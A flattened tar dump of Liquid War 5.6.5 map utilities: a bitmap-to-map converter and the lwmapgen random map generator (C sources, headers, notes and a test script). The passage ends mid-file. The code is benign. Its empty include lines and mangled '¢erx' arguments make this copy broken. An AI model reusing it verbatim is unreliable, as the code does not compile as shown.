print_cmd_cc: @echo "The command line to compile .c files in this directory is:" @echo -- $(CMD_CC) @echo "The command line to link .o files in this directory is" @echo -- $(CC) $(LDFLAGS) $(ALLIBS) liquidwar-5.6.5/utils/liquidwarmap.c0000664000372000037200000004123713407756104017153 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : liquidwarmap.c */ /* contenu : tools to generate tabs */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*=================================================================*/ /* defines */ /*=================================================================*/ #define ALLEGRO_USE_CONSOLE /*=================================================================*/ /* includes */ /*=================================================================*/ #include #include #include #include #include #include #include /*=================================================================*/ /* contantes */ /*=================================================================*/ #define LIGHT_OR_DARK_TRESHOLD 315 #define CONSIDERED_AS_DARK 0 #define CONSIDERED_AS_LIGHT 2 #define PLAYABLE_AREA 1 #define MINI_SIDE_SIZE 4 #define MINI_PLAYABLE_AREA 1024 /*=================================================================*/ /* variables globales */ /*=================================================================*/ int ARGC; char **ARGV; int FLAG_HELP = 0; int FLAG_SILENT = 0; char *FILENAMES[65536]; int NUMBER_OF_FILES = 0; PALETTE PALETTE_SRC; BITMAP *BITMAP_SRC = NULL; BITMAP *BITMAP_DST = NULL; signed char BUFFER[1048576]; int DST_X, DST_Y, DST_W, DST_H, DST_SIZE, BG_SIZE; char SYSTEM_NAME[16]; char READABLE_NAME[32]; /*=================================================================*/ /* fonctions */ /*=================================================================*/ /*-----------------------------------------------------------------*/ /* affichages d'aide */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void display_common_help (void) { printf ("liquidwarmap by U-Foot (ufoot@ufoot.org).\n"); printf ("This program creates maps for Liquid War.\n"); printf ("It is free software, protected by the GPL.\n"); printf ("It uses Allegro by Shawn Hargreaves.\n"); printf ("\n"); } /*-----------------------------------------------------------------*/ void display_short_help (void) { display_common_help (); printf ("Type \"liquidwarmap -?\" for more help.\n"); } /*-----------------------------------------------------------------*/ void display_long_help (void) { display_common_help (); printf ("The source must be a 256 color bitmap.\n"); printf ("Walls must be in the same color - same index in fact.\n"); printf ("The wall index color is given by the top left pixel,\n"); printf ("and the map must be contained in a closed rectangle.\n"); printf ("\n"); printf ("Syntax:\n"); printf ("liquidwarmap [options] filenames\n"); printf ("\n"); printf ("Options:\n"); printf ("-? -h -H : displays this help.\n"); printf ("-s -S : silent mode, nothing written to the console.\n"); printf ("\n"); printf ("Remark: the created map will have a .map extension.\n"); printf ("Warning: the source file will be replaced by a smaller file.\n"); } /*-----------------------------------------------------------------*/ /* lecture des parametres de la ligne de commande */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ int acknowledge_flag (char *str) { int found = 0; if (str[0] == '-' || str[0] == '/') { found = 1; switch (str[1]) { case '?': case 'h': case 'H': FLAG_HELP = 1; break; case 's': case 'S': FLAG_SILENT = 1; break; default: found = 0; } } return found; } /*-----------------------------------------------------------------*/ int read_command_line (void) { int i, j = 0, success = 1; for (i = 1; i < ARGC; ++i) { if ((!acknowledge_flag (ARGV[i]))) { FILENAMES[j] = ARGV[i]; j++; } } NUMBER_OF_FILES = j; if (NUMBER_OF_FILES <= 0) { success = 0; if (!FLAG_HELP) printf ("ERROR! Two few arguments.\n"); } return success; } /*-----------------------------------------------------------------*/ /* acces disque */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ int load_file (char *filename) { int success; if (!FLAG_SILENT) printf ("Loading '%s'.\n", filename); if (BITMAP_SRC != NULL) destroy_bitmap (BITMAP_SRC); BITMAP_SRC = load_bitmap (filename, PALETTE_SRC); success = BITMAP_SRC != NULL; if (!success) printf ("ERROR! Unable to read '%s'.\n", filename); return success; } /*-----------------------------------------------------------------*/ /* lecture des parametres du tableau */ /*-----------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static void sort_light_and_dark (BITMAP * bmp, PALETTE pal) { char table[256]; int i, x, y; for (i = 0; i < 256; ++i) { if (6 * pal[i].r + 3 * pal[i].g + pal[i].b > LIGHT_OR_DARK_TRESHOLD) table[i] = CONSIDERED_AS_LIGHT; else table[i] = CONSIDERED_AS_DARK; } for (y = 0; y < bmp->h; ++y) for (x = 0; x < bmp->w; ++x) putpixel (bmp, x, y, table[getpixel (bmp, x, y)]); } /*-----------------------------------------------------------------*/ void get_range (void) { /* useless and buggy code from an old time, when maps where systematically drawn on 320x200 bitmaps and "getting the useable part had a sense". Not any more. Now it only wrecks some maps. Definitely useless. int min_x = BITMAP_SRC->w; int min_y = BITMAP_SRC->h; int max_x = -1; int max_y = -1; int x, y; for (y = 0; y < BITMAP_SRC->h; ++y) for (x = 0; x < BITMAP_SRC->w; ++x) if (!getpixel (BITMAP_SRC, x, y)) { if (min_x > x) min_x = x; if (min_y > y) min_y = y; if (max_x < x) max_x = x; if (max_y < y) max_y = y; } DST_X = min_x; DST_Y = min_y; DST_W = max_x - min_x + 1; DST_H = max_y - min_y + 1; */ DST_X = 0; DST_Y = 0; DST_W = BITMAP_SRC->w; DST_H = BITMAP_SRC->h; if (DST_W < 1 || DST_H < 1) { printf ("ERROR! Map is too small.\n"); DST_W = DST_H = 1; } if (BITMAP_DST != NULL) destroy_bitmap (BITMAP_DST); BITMAP_DST = create_bitmap (DST_W, DST_H); blit (BITMAP_SRC, BITMAP_DST, DST_X, DST_Y, 0, 0, DST_W, DST_H); } /*-----------------------------------------------------------------*/ /* conversion dans le buffer */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void convert_to_buffer (void) { int pos_src, pos_dst, l, wh; char *data; int wall_color; wh = BITMAP_DST->h * BITMAP_DST->w; data = BITMAP_DST->dat; pos_src = pos_dst = 0; BG_SIZE = 0; if (wh > 0) { wall_color = CONSIDERED_AS_DARK; while (pos_src < wh) { l = 0; if (data[pos_src] == wall_color) { while (pos_src < wh && (data[pos_src] == wall_color) && l < 127) { l++; pos_src++; } BUFFER[pos_dst++] = l; } else { while (pos_src < wh && data[pos_src] != wall_color && l < 127) { l++; pos_src++; } BUFFER[pos_dst++] = -l; BG_SIZE += l; } } } BUFFER[pos_dst++] = 0; DST_SIZE = pos_dst; } /*-----------------------------------------------------------------*/ void change_ext_to_txt (char *str) { char *ext; ext = strchr (str, '.'); ext[1] = 't'; ext[2] = 'x'; ext[3] = 't'; } /*-----------------------------------------------------------------*/ void update_system_name (char *str) { char *search; memset (SYSTEM_NAME, 0, sizeof (SYSTEM_NAME)); /* * No extension we just use the file name */ strncpy (SYSTEM_NAME, str, sizeof (SYSTEM_NAME)); search = strchr (SYSTEM_NAME, '.'); if (search) { (*search) = '\0'; } } /*-----------------------------------------------------------------*/ void update_readable_name (char *str) { FILE *f; char *search; memset (READABLE_NAME, 0, sizeof (READABLE_NAME)); f = fopen (str, "r"); if (f != NULL) { /* * If there's a corresponding .txt file, we open it and interpret * it as the name of the map */ fread (READABLE_NAME, sizeof (READABLE_NAME), 1, f); fclose (f); /* * Now we get rid of all the lines following the first one */ search = strchr (READABLE_NAME, 10); if (search) { (*search) = 0; } search = strchr (READABLE_NAME, 13); if (search) { (*search) = 0; } } else { /* * No .txt file we just use the file name */ strncpy (READABLE_NAME, str, sizeof (READABLE_NAME)); search = strchr (READABLE_NAME, '.'); if (search) { (*search) = '\0'; } } } /*-----------------------------------------------------------------*/ /* on ecrit sur le disque */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void change_ext_to_map (char *str) { char *ext; ext = strchr (str, '.'); ext[1] = 'm'; ext[2] = 'a'; ext[3] = 'p'; } /*-----------------------------------------------------------------*/ void write_to_disk (char *str) { FILE *f; short w, h; int size; unsigned char header[8]; if (!FLAG_SILENT) printf ("Writing %s to disk.\n", str); delete_file (str); f = fopen (str, "w"); if (f != NULL) { w = DST_W; h = DST_H; size = DST_SIZE; /* * Previous versions of LW used to store the size of * the background here, to sort map afterwards. Now * we store the size of the map. */ /* * Here's an ugly serialization of ints and shorts. * Usefull to make the game work on Mac OS X and possible * any platform that does not have PC-like endianess */ header[0] = 0xFF & size; header[1] = 0xFF & size >> 8; header[2] = 0xFF & size >> 16; header[3] = size >> 24; header[4] = 0xFF & w; header[5] = w >> 8; header[6] = 0xFF & h; header[7] = h >> 8; /* Uncomment this to invert endianess of map header. Used only for testing, do not uncomment it even when compiling on Mac, it would make the game unusable in network mode... */ /* header[3] = 0xFF & size; header[2] = 0xFF & size>>8; header[1] = 0xFF & size>>16; header[0] = size>>24; header[5] = 0xFF & w; header[4] = w>>8; header[7] = 0xFF & h; header[6] = h>>8; */ fwrite (&(header[0]), 8, 1, f); fwrite (SYSTEM_NAME, sizeof (SYSTEM_NAME), 1, f); fwrite (READABLE_NAME, sizeof (READABLE_NAME), 1, f); fwrite (BUFFER, size, 1, f); fclose (f); } else { printf ("Unable to write %s.\n", str); } } /*-----------------------------------------------------------------*/ void write_with_new_size (char *str) { if (!FLAG_SILENT) printf ("Writing %s to disk.\n", str); delete_file (str); save_bitmap (str, BITMAP_DST, PALETTE_SRC); } /*=================================================================*/ /* fonctions main */ /*=================================================================*/ /*-----------------------------------------------------------------*/ int main (int argc, char **argv) { int i; ARGC = argc; ARGV = argv; #ifdef ALLEGRO_UNIX install_allegro (SYSTEM_NONE, &errno, atexit); #else allegro_init (); #endif set_color_depth (8); set_color_conversion (COLORCONV_REDUCE_TO_256); if (read_command_line ()) { for (i = 0; i < NUMBER_OF_FILES; ++i) { if (load_file (FILENAMES[i])) { sort_light_and_dark (BITMAP_SRC, PALETTE_SRC); get_range (); if (BITMAP_SRC->w != BITMAP_DST->w || BITMAP_SRC->h != BITMAP_DST->h) write_with_new_size (FILENAMES[i]); convert_to_buffer (); change_ext_to_txt (FILENAMES[i]); update_system_name (FILENAMES[i]); update_readable_name (FILENAMES[i]); change_ext_to_map (FILENAMES[i]); write_to_disk (FILENAMES[i]); } } } else { if (FLAG_HELP) display_long_help (); else display_short_help (); } allegro_exit (); return 0; } END_OF_MAIN () liquidwar-5.6.5/utils/lwmapgen/0000775000372000037200000000000013407756104016113 5ustar travistravisliquidwar-5.6.5/utils/lwmapgen/circles.c0000664000372000037200000000121513407756104017702 0ustar travistravis/* * Random circles. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" void circles () { int r, c; int centerx, centery; int radius; int size; /* whats the max radius */ size = (map.sec_width < map.sec_height ? map.sec_width : map.sec_height) / 2.0; size = (size == 0 ? 1 : size); for (r = 0; r < map.num_row; r++) { for (c = 0; c < map.num_col; c++) { rand_point_section_offset (¢erx, ¢ery, r, c, 0); radius = rand () % size + 1; circlefill (map.map, centerx, centery, radius, 0); } } return; } liquidwar-5.6.5/utils/lwmapgen/cut.c0000664000372000037200000000272613407756104017061 0ustar travistravis/* * Makes a bunch random lines. * * Copyright (C) 2003, David Redick, Chris Guirl * Released under the GNU General Public License (v2) */ #include "map.h" void cut () { int i, size; int startx, starty, endx, endy; int fromr, fromc, tor, toc; int vert[8]; size = (map.sec_width > map.sec_height ? map.sec_width : map.sec_height) / 8.0; size = (size == 0 ? 1 : size); /* vertical */ fromr = 0; tor = map.num_row - 1; for (i = 0; i < map.num_col; i += 2) { fromc = rand () % map.num_col; toc = rand () % map.num_col; section_center (&startx, &starty, fromr, fromc); section_center (&endx, &endy, tor, toc); vert[0] = startx - size; vert[1] = 1; vert[2] = startx + size; vert[3] = 1; vert[4] = endx + size; vert[5] = map.height - 1; vert[6] = endx - size; vert[7] = map.height - 1; polygon (map.map, 4, vert, 255); } /* horizontial */ fromc = 0; toc = map.num_col - 1; for (i = 0; i < map.num_row; i += 2) { fromr = rand () % map.num_row; tor = rand () % map.num_row; section_center (&startx, &starty, fromr, fromc); section_center (&endx, &endy, tor, toc); vert[0] = 1; vert[1] = starty + size; vert[2] = 1; vert[3] = starty - size; vert[4] = map.width - 2; vert[5] = endy - size; vert[6] = map.width - 2; vert[7] = endy + size; polygon (map.map, 4, vert, 255); } return; } liquidwar-5.6.5/utils/lwmapgen/street.c0000664000372000037200000000662713407756104017600 0ustar travistravis/* * A map that looks like a bunch of streets. * * This works best if r & c are rather large (but not too large). * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include #include "map.h" #include "misc.h" #define MAX_MAIN_ROW 3 #define MAX_MAIN_COL 3 void street () { int main_row[MAX_MAIN_ROW]; int main_col[MAX_MAIN_COL]; int startx, starty, endx, endy; int r, c, tor, toc; int size; int start, way; int i; clear_invert_map (); /* * TODO: its possible only have 1 main and thats bad... * 2x3 is best... tho' it may not matter much. * What about basing the numbers off map.num_row/col?? * yeah I like that better than macros. * maybe MMR = #rows % 4 + 1.. */ /* pick the main rows/cols to branch from */ for (i = 0; i < MAX_MAIN_ROW; i++) main_row[i] = rand () % map.num_row; for (i = 0; i < MAX_MAIN_COL; i++) main_col[i] = rand () % map.num_col; size = (map.sec_width > map.sec_height ? map.sec_width : map.sec_height) / 8; size = (size == 0 ? 1 : size); /* branch off rows */ for (i = 0; i < MAX_MAIN_ROW; i++) { r = main_row[i]; /* draw main row */ section_center (&startx, &starty, r, 0); section_center (&endx, &endy, r, map.num_col - 1); rectfill (map.map, startx, starty - size, endx, endy + size, 255); /* do the branches */ start = rand () % 2; for (c = start; c < map.num_col; c += 2) { section_center (&startx, &starty, r, c); way = rand () % 3; /* draw up */ if (r != 0 && (way == 0 || way == 2)) { tor = rand () % r; section_center (&endx, &endy, tor, c); rectfill (map.map, startx - size, starty, endx + size, endy, 255); } /* draw down */ if (r != map.num_row - 1 && (way == 1 || way == 2)) { tor = rand_num (r, map.num_row - r); /* tor = rand()%(map.num_row-r-1)+r+1; */ section_center (&endx, &endy, tor, c); rectfill (map.map, startx - size, starty, endx + size, endy, 255); } } } /* branch off cols */ for (i = 0; i < MAX_MAIN_COL; i++) { c = main_col[i]; /* draw main col */ section_center (&startx, &starty, 0, c); section_center (&endx, &endy, map.num_row - 1, c); rectfill (map.map, startx - size, starty, endx + size, endy, 255); /* do the branches */ start = rand () % 2; for (r = start; r < map.num_row; r += 2) { section_center (&startx, &starty, r, c); way = rand () % 3; /* draw left */ if (c != 0 && (way == 0 || way == 2)) { toc = rand () % c; section_center (&endx, &endy, r, toc); rectfill (map.map, startx, starty - size, endx, endy + size, 255); } /* draw right */ if (c != map.num_col - 1 && (way == 1 || way == 2)) { toc = rand_num (c, map.num_col - c); /* toc = rand()%(map.num_col-c-1)+c+1; */ section_center (&endx, &endy, r, toc); rectfill (map.map, startx - size, starty - size, endx, endy + size, 255); } } } return; } liquidwar-5.6.5/utils/lwmapgen/bubbles.c0000664000372000037200000000316213407756104017677 0ustar travistravis/* * Random bubbles. * * start with a wall-filled field - then erase a circle, * then fill a smaller one inside it - repeat * * Copyright (C) 2003, Chris Guirl * Released under the GNU General Public License (v2) */ #include "map.h" #include "misc.h" void bubbles () { int r, c, b; int size; int centerx, centery; int outradius, inradius, midradius; int bubblesx, bubblesy; /* number of bubbles in a row or column */ int numbubbles; clear_invert_map (); /* * outer is the main bubble * inner is the black dot in the bubble * what's the middle?? */ size = (map.sec_width > map.sec_height ? map.sec_width : map.sec_height); outradius = rand_num (size / 3, size); inradius = rand_num (outradius / 1.5, outradius * (7.0 / 8.0)); midradius = (outradius + inradius) / 2; midradius = (midradius == 0 ? 1 : midradius); bubblesx = map.sec_width / midradius; bubblesy = map.sec_height / midradius; numbubbles = (bubblesx * bubblesy); numbubbles = (numbubbles == 0 ? 1 : numbubbles); for (r = 0; r < map.num_row; r++) { for (c = 0; c < map.num_col; c++) { for (b = 0; b < numbubbles; b++) { rand_point_section_offset (¢erx, ¢ery, r, c, 0); /* *centerx *= (centerx / bubblesx); *centery *= (centery / bubblesy); */ circlefill (map.map, centerx, centery, outradius, 255); circlefill (map.map, centerx, centery, inradius, 0); } } /* for(c..) */ } /* for(r..) */ return; } liquidwar-5.6.5/utils/lwmapgen/map_generator.h0000664000372000037200000000135613407756104021114 0ustar travistravis/* * The main interface to the map generator. * * This is mainly for the game liquidwar to interface with the generator. * For the shell interface see main.c * * Note: I assume that all args are valid. * * If filename is NULL then default filename is used. * * size must be MIN_MAP_SIZE to MAX_MAP_SIZE-1 inclusive. * * grid_size must be MIN_MAP_GRID_SIZE to MAX_MAP_GRID_SIZE-1 inclusive * or RANDOM_MAP_GRID_SIZE * * func_id must be MIN_FUNC to MAX_FUNC-1 inclusive * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ /* damn thats a long name... =] */ #ifndef LWMAPGEN_MAP_GENERATOR_H #define LWMAPGEN_MAP_GENERATOR_H void map_generator (char *filename, int size, int grid_size, int func_id); #endif liquidwar-5.6.5/utils/lwmapgen/map.c0000664000372000037200000000650613407756104017043 0ustar travistravis/* * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include #include #include "map.h" char default_filename[10] = "lwmap.bmp"; /* [2] for w == 0, h == 1 */ int map_size[MAX_MAP_SIZE][2] = { {128, 95}, /* 0 */ {160, 120}, /* 1 */ {256, 190}, /* 2 */ {320, 240}, /* 3 */ {512, 380}, /* 4 */ {640, 480} /* 5 */ }; /* [2] for r == 0, c == 1 */ /* the maps just look better if the ratio is the same */ int map_grid_size[MAX_MAP_GRID_SIZE][2] = { /* this is random. keep at top */ {0, 0}, /* 0 */ {2, 3}, /* 1 */ {4, 6}, /* 2 */ {6, 9}, /* 3 */ {8, 12}, /* 4 */ {10, 15}, /* 5 */ {12, 18}, /* 6 */ {14, 21}, /* 7 */ {16, 24}, /* 8 */ {18, 26} /* 9 */ }; map_t map; /*****************************************************************************/ void clear_map () { clear_to_color (map.map, 255); /* draw outline */ rect (map.map, 0, 0, map.width - 1, map.height - 1, 0); } /*****************************************************************************/ void clear_invert_map () { clear_to_color (map.map, 0); } /*****************************************************************************/ /* print map info to stdout */ /* really for debugging */ void print_map () { printf ("Name: %s\n", map.filename); printf ("Size: %dx%d\n", map.width, map.height); printf ("Row/Col: %d/%d\n", map.num_row, map.num_col); printf ("Section: %fx%f\n", map.sec_width, map.sec_height); printf ("Function: (%d) %s\t%s\n", map.func_id, func[map.func_id].name, func[map.func_id].desc); } /*****************************************************************************/ /* get r, c from i */ void section_rc (int *r, int *c, int i) { *r = i / map.num_col; *c = i % map.num_col; return; } /*****************************************************************************/ void offset (int *xoffset, int *yoffset, int r, int c) { *xoffset = c * map.sec_width; *yoffset = r * map.sec_height; return; } /*****************************************************************************/ /* TODO: does this cause rounding errors? */ void rand_point_section (int *x, int *y, int pad) { *x = rand_num (pad, map.sec_width - pad); *y = rand_num (pad, map.sec_height - pad); return; } /*****************************************************************************/ /* TODO: does this cause rounding errors? */ void rand_point_section_offset (int *x, int *y, int r, int c, int pad) { int xoffset, yoffset; offset (&xoffset, &yoffset, r, c); *x = rand_num (pad, map.sec_width - pad) + xoffset; *y = rand_num (pad, map.sec_height - pad) + yoffset; return; } /*****************************************************************************/ void section_center (int *x, int *y, int r, int c) { int xoffset, yoffset; offset (&xoffset, &yoffset, r, c); *x = (map.sec_width / 2.0) + xoffset; *y = (map.sec_height / 2.0) + yoffset; return; } /*****************************************************************************/ liquidwar-5.6.5/utils/lwmapgen/func_list.h0000664000372000037200000000126013407756104020251 0ustar travistravis/* * This is the master of list of functions. * All functions must be: "void foo();". * And be defined in "foo.c". * * Please keep in alpha-num order. * * These functions may be wrappers for more complex functions. * * IF YOU ADD A FUNCTION HERE THEN ADD IT TO FUNC.C * AND UPDATE MAX_FUNC IN FUNC.H * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #ifndef LWMAPGEN_FUNC_LIST_H #define LWMAPGEN_FUNC_LIST_H void big_quad (); void boxes (); void bubbles (); void circles (); void circuit (); void hole (); void lines (); void rand_box (); void rand_func (); void rand_poly (); void rand_poly_cut (); void street (); void worms (); #endif liquidwar-5.6.5/utils/lwmapgen/HACKING0000664000372000037200000000344213407756104017105 0ustar travistravisWhere stuff is. --------------- map.h contains a struct for the general map info. Size, grid size, file name, generating function to use (how the map is made). func_list.h is just a list of generating functions availible. func.h contains a struct for the generating function info. Name, description, and function pointer. Nearly all *.c files are generating functions. cut.c is a "helper" function to cut random lines out of the map. It is used by lines and rand_poly_cut. misc.c is just useful functions. One to create arrays, one to create 2d matrix (grid), and a wrapper for the random number generator that creates a number in a given range. main.c is the shell interface for the liquidwar-mapgen. How it works. ------------- Given a filename, map size, grid size, and function. Main just creates a bitmap, calls the function and then saves the bitmap. Functions are just a void-void function pointer. Adding a new function. ---------------------- First take a look at a simple function like big_quad.c Then just write your foo_func.c. Add "void foo_func();" in func_list.h [Please keep in alpha-num order]. Increase MAX_FUNC in func.h. Add the extra info in func.c. Notes about functions. ---------------------- *Be careful of magic size numbers. Most of the functions base the size of things off of the section size. This allows the function to create nice, playable maps on either 128x96 or 640x480 map sizes. *Be careful about dividing numbers. Since you'll be dealing with ints. The number could be so small it will be rounded to 0. *Use tester.sh to test your function. *Play test your maps. The map may look cool but how well does it play? Circuit use be to be a nice small little function but after playing on it, I found that it sucked. I had to add a ton of code to make it play well. liquidwar-5.6.5/utils/lwmapgen/tester.sh0000775000372000037200000000171213407756104017761 0ustar travistravis#!/bin/sh mapsize="0 1 2 3 4 5" gridsize="0 1 2 3 4 5 6 7 8 9" testfunc="rand_func big_quad boxes bubbles circles circuit hole lines \ rand_box rand_poly rand_poly_cut street worms" #testfunc=big_quad make cleanmaps if [ ! -x ./liquidwar-mapgen ]; then make fi for func in $testfunc; do for s in $mapsize; do for g in $gridsize; do echo "******* testing: $func / $i *******" ./liquidwar-mapgen -f $func -s $s -g $g -o ./$func.$s.$g.bmp sleep 2 done done done ############################### # arrange the maps... if [ ! -d ./maps ]; then mkdir ./maps fi mv -f *.bmp ./maps cd ./maps ############################### # view the maps... viewer=`which ee xv 2> /dev/null` if [ -z "$viewer" ]; then echo "Can't find image viewer." exit 0 fi if [ -z "$DISPLAY" ]; then echo "\$DISPLAY is not set." exit 0 fi for file in *.bmp; do $viewer $file done liquidwar-5.6.5/utils/lwmapgen/rand_func.c0000664000372000037200000000121313407756104020213 0ustar travistravis/* * Picks a random fuction. * * This is really just a nice way to wrap up some code. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include #include #include "func.h" #include "misc.h" void rand_func () { int i; void (*rfunc) (); /* * NOTE: I'm assuming that rand_func is the * first function listed in func.c * that way I can just pick from 1 to MAX_FUNC-1 * and the code will be simple. */ i = rand_num (1, MAX_FUNC - 1); rfunc = func[i].func; printf ("Random Function: %2d) %s\t%s\n", i, func[i].name, func[i].desc); (*rfunc) (); return; } liquidwar-5.6.5/utils/lwmapgen/misc.h0000664000372000037200000000076113407756104017223 0ustar travistravis/* * Just misc. functions... * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #ifndef LWMAPGEN_MISC_H #define LWMAPGEN_MISC_H /* a random number from min to max inclusive on both ends */ int rand_num (int min, int max); /* size == the size of the elements in the array/grid */ void *create_array (int length, int size); void delete_array (void *array); void **create_grid (int r, int c, int size); void delete_grid (void **grid, int r); #endif liquidwar-5.6.5/utils/lwmapgen/CREDITS0000664000372000037200000000052513407756104017135 0ustar travistravisDavid Redick: I did everything except whats listed here. I also tweaked worms.c & bubbles.c. Chris Guirl: I did worms.c, bubbles.c, tweaked cut.c, and other stuff. Christian Mauduit: I tweaked the allegro stuff in main.c. Robert Eshleman: I helped bug hunt, test, and laughed at David. liquidwar-5.6.5/utils/lwmapgen/misc.c0000664000372000037200000000355113407756104017216 0ustar travistravis#include #include #include "misc.h" /*****************************************************************************/ /* generate a random num from min to max inclusive on both ends */ int rand_num (int min, int max) { /* prevent /0 errors and strange numbers */ if (min > max) { fprintf (stderr, "for rand_num(%d, %d), max must be > min.\n", min, max); return max; } else if (min == max) return max; return rand () % (max - min + 1) + min; } /*****************************************************************************/ void * create_array (int length, int size) { void *array; if (length == 0 || size == 0) { fprintf (stderr, "can't create an array of 0 length. [%d](%d)\n", length, size); return NULL; } array = malloc (length * size); if (array == NULL) { fprintf (stderr, "fatal error: can't malloc space for array.\n"); exit (EXIT_FAILURE); } return array; } void delete_array (void *array) { free (array); return; } /*****************************************************************************/ void ** create_grid (int r, int c, int size) { void **grid; int i; if (r == 0 || c == 0 || size == 0) { fprintf (stderr, "can't create grid with 0 dimenson/size [%d][%d](%d).\n", r, c, size); return NULL; } grid = (void **) malloc (r * sizeof (void *)); if (grid == NULL) { fprintf (stderr, "fatal error: can't malloc space for grid rows.\n"); exit (EXIT_FAILURE); } for (i = 0; i < r; i++) grid[i] = (void *) create_array (c, size); return grid; } void delete_grid (void **grid, int r) { int i; if (r == 0) fprintf (stderr, "can't free grid with 0 rows.\n"); for (i = 0; i < r; i++) delete_array (grid[i]); free (grid); return; } liquidwar-5.6.5/utils/lwmapgen/big_quad.c0000664000372000037200000000174113407756104020035 0ustar travistravis/* * One big, solid quad that takes up most of the map. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" #include "misc.h" void big_quad () { int vert[8]; /* * NOTE: we don't want to overlap the areas or we get strange polys * The 2 and the "-3" are to make sure the quad doesn't touch the * edge of the map. */ /* left side of map */ vert[0] = rand_num (2, map.sec_width); vert[1] = rand_num (2, map.height - 3); /* top side of map */ vert[2] = rand_num (map.sec_width + 1, map.width - 3); vert[3] = rand_num (2, map.sec_height); /* right side of map */ vert[4] = rand_num (map.width - map.sec_width, map.width - 3); vert[5] = rand_num (map.sec_height + 1, map.height - 3); /* bottom side of map */ vert[6] = rand_num (map.sec_width + 1, map.width - map.sec_width - 1); vert[7] = rand_num (map.height - map.sec_height, map.height - 3); polygon (map.map, 4, vert, 0); return; } liquidwar-5.6.5/utils/lwmapgen/old/0000775000372000037200000000000013407756104016671 5ustar travistravisliquidwar-5.6.5/utils/lwmapgen/old/invert_rand_poly.c0000664000372000037200000000045413407756104022416 0ustar travistravis/* * Cuts out one big polygon, that takes up most of the map. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" #include "func_list.h" void invert_rand_poly() { map.color = 255; clear_invert_map(); rand_poly(); return; } liquidwar-5.6.5/utils/lwmapgen/old/rand_poly_cut.c0000664000372000037200000000306713407756104021705 0ustar travistravis/* * This creates one big polygon and cuts slices out of it. * Cuts can be vertical, horizontial or both. * * Added a 1/3 chance of cutting. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include #include "map.h" #include "func_list.h" void rand_poly_cut() { int section_width, section_height; int xoffset, yoffset; int r, c; int way, start; int cutx, cuty; int cutsize; section_size(§ion_width, §ion_height); rand_poly(); way = rand()%3; /* cut along rows, horziontial cuts */ if( way == 0 || way == 2 ) { start = rand()%2; for( r = start; r < map.num_row; r += 2 ) { if( rand()%3 != 0 ) continue; offset(&xoffset, &yoffset, r, 0); cutsize = rand()%(section_height/2-map.max_pad)+1; cuty = section_height/2 + yoffset; rectfill(map.map, 1, cuty-cutsize, map.width-2, cuty+cutsize, 255); } } /* cut along cols, vertical cuts */ if( way == 1 || way == 2 ) { start = rand()%2; for( c = start; c < map.num_col; c += 2 ) { if( rand()%3 != 0 ) continue; offset(&xoffset, &yoffset, 0, c); cutsize = rand()%(section_width/2-map.max_pad)+1; cutx = section_width/2 + xoffset; rectfill(map.map, cutx-cutsize, 1, cutx+cutsize, map.height-2, 255); } } return; } liquidwar-5.6.5/utils/lwmapgen/old/rand_poly_diag_cut.c0000664000372000037200000000642213407756104022667 0ustar travistravis/* * Creates one big random polygon, that takes up most of the map * and cuts slices out of it. Slices can are cut diagonal. * * Copyright (C) 2003, David Redick, Chris Guirl * Released under the GNU General Public License (v2) */ #include #include "map.h" #include "func_list.h" void rand_poly_diag_cut() { int section_width, section_height; int xoffset, yoffset; int r, c; int way, start; /* int cutx, cuty; */ int cutsize; int *vert; vert = malloc( sizeof(int) * 4 * 2); if( vert == NULL ) { fprintf(stderr, "fatal error: can't malloc space for verts.\n"); exit(EXIT_FAILURE); } section_size(§ion_width, §ion_height); rand_poly(); /* int i; for ( i = 0; i < rand()%10; i++ ) { */ /* was %2... fixed so that both slanted * rows & cols could happen -- david */ way = rand()%3; /* cut slanted rows */ if( way == 0 || way == 2 ) { start = rand()%2; for( r = start; r < map.num_row; r += 2 ) { offset(&xoffset, &yoffset, r, 0); cutsize = rand()%(section_height/2-map.max_pad)+1; /* following 2 lines removed by c. guirl 2003/11/09 cuty = section_height/2 + yoffset; rectfill(map.map, 1, cuty-cutsize, map.width-2, cuty+cutsize, 255); */ int topdist_left = rand()%(section_width-cutsize); int topdist_right = 